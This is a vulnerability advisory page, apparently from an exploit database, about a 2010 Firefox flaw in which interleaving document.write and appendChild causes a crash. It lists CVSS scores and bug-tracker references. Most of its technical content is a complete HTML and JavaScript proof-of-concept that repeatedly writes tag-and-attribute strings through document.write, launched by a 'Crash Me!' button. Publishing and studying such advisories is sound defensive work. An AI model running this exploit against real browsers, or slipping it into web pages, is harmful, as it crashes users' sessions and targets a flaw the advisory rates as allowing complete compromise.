Firefox Interleaving document.write and appendChild Denial of Service

2010.11.03
Credit: Daniel Veditz
Risk: High
Local: No
Remote: Yes
CWE: CWE-noinfo


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

Source: https://bugzilla.mozilla.org/show_bug.cgi?id=607222 <html><body> <script> function getatts(str){ var cobj=document.createElement(str); cobj.id="testcase"; document.body.appendChild(cobj); var obj=document.getElementById("testcase"); var atts = new Array(); for(p in obj){ if(typeof(obj[p])=="string"){ atts.push(p); } } document.body.removeChild(cobj); return atts; } function crashme() { var tags = new Array("audio", "a", "base"); for (inx = 0; inx < 0x8964; inx++) { for (i = 0; i < tags.length; i++) { var atts = getatts(tags[i]); for (j = 0; j < atts.length; j++) { var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] + ">" + tags[i]; document.write(html); } } } } </script> <button onclick="crashme();">Crash Me!</button> </body></html>

References:

https://bugzilla.redhat.com/show_bug.cgi?id=646997
https://bugzilla.mozilla.org/show_bug.cgi?id=607222
http://www.norman.com/security_center/virus_description_archive/129146/
http://www.norman.com/about_norman/press_center/news_archive/2010/129223/
http://isc.sans.edu/diary.html?storyid=9817
http://blog.mozilla.com/security/2010/102000/26/critical-vulnerability-in-firefox-3-5-and-firefox-3-6/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top